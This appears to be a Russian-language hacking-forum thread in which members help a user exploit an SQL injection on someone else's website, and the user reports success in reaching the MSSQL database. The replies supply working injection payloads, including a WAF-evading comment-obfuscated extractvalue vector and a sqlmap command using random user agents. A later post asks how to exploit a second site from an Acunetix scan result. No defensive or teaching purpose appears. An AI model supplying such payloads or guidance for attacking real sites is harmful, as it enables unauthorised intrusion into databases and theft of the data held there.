SQL /site/1'

Discussion in 'Уязвимости' started by magichead, 10 Feb 2016.

  1. magichead

    magichead New Member

    Joined:
    9 Feb 2016
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Помогите расскрутить sql
    Вид такой:
    site.com/city/1'
    Все перелазил ничего не нашел!

    Код ошибки

    1)Throwable_SQL_Exception [ 0 ]: Message: Failed to query SQL statement. Reason: Incorrect syntax near 'id' and Draft = 0'.


    Code:
    MODPATH/leap/classes/Base/DB/MsSQL/DataReader/Standard.php [ 48 ]
    
    43      */
    44     public function __construct(DB_Connection_Driver $connection, $sql, $mode = NULL) {
    45         $resource = $connection->get_resource();
    46         $command = @mssql_query($sql, $resource);
    47         if ($command === FALSE) {
    48             throw new Throwable_SQL_Exception('Message: Failed to query SQL statement. Reason: :reason', array(':reason' => @mssql_get_last_message()));
    49         }
    50         $this->command = $command;
    51         $this->record = FALSE;
    52     }
     
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    1,091
    Likes Received:
    526
    Reputations:
    173
    Error dased
     
  3. magichead

    magichead New Member

    Joined:
    9 Feb 2016
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    это как понять?

    site.com/city/1' - не могу понять как сделать правельную sql типо .php?city=1'
     
    #3 magichead, 10 Feb 2016
    Last edited: 10 Feb 2016
  4. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    1,091
    Likes Received:
    526
    Reputations:
    173
    site.com/city/1'or(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1
     
  5. magichead

    magichead New Member

    Joined:
    9 Feb 2016
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Перекидывает на 404
    А можно в sqlmap какнибудь раскрутить?
     
  6. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    619
    Likes Received:
    148
    Reputations:
    94
    Есть ещё один прекрасный вектор, который может сработать в твоей ситуации.

    Code:
    site.com/city/-1+/*!aNd*/+/*!ExTRaCtVaLuE*/(1,/*!CoNcAt*/(0x3a,(version()))+--+ 
    Местный WAF всему виной.
     
    #6 MaxFast, 10 Feb 2016
    Last edited: 10 Feb 2016
  7. magichead

    magichead New Member

    Joined:
    9 Feb 2016
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Перекидывает на 404
    А можно в sqlmap какнибудь раскрутить?
    (((всерано перекидывает на 404
     
  8. Shubka75

    Shubka75 Member

    Joined:
    24 Sep 2015
    Messages:
    54
    Likes Received:
    37
    Reputations:
    18
    sqlmap.py -u "site.com/city/1*" --level=5 --random-agent
     
    magichead likes this.
  9. magichead

    magichead New Member

    Joined:
    9 Feb 2016
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Спасибо!Расскрутил,но вот проблема с кодировкой!Пишет что база MSQL 2012,пишет что база найдена.Но в место имени выходит квадрат с четырьмя нулями.Как быть с этим?
     
    #9 magichead, 10 Feb 2016
    Last edited: 11 Feb 2016
  10. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    365
    Likes Received:
    62
    Reputations:
    11
    Можно посмотреть в лог-файле sqlmap, возможно консоль не поддерживает данную кодировку (какая бы она ни была), но это только предположение.
     
  11. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    232
    Likes Received:
    4
    Reputations:
    0
    Как раскрутить такую скулю?
    site.ru/v2-live-with-a-5-1-win/

    Acunetix:
    Path Fragment (suffix /) input - was set to success' AND 3*2*1=6 AND '000CDY9'='000CDY9
    site.ru/v2-live-with-a-5-1-win'%20AND%203*2*1%3d6%20AND%20'000SgxW'%3d'000SgxW/
     
  12. BabaDook

    BabaDook Level 8

    Joined:
    9 May 2015
    Messages:
    1,022
    Likes Received:
    1,385
    Reputations:
    53
    site.ru/v2-live-with-a-5-1-win/* не работает?
     
Loading...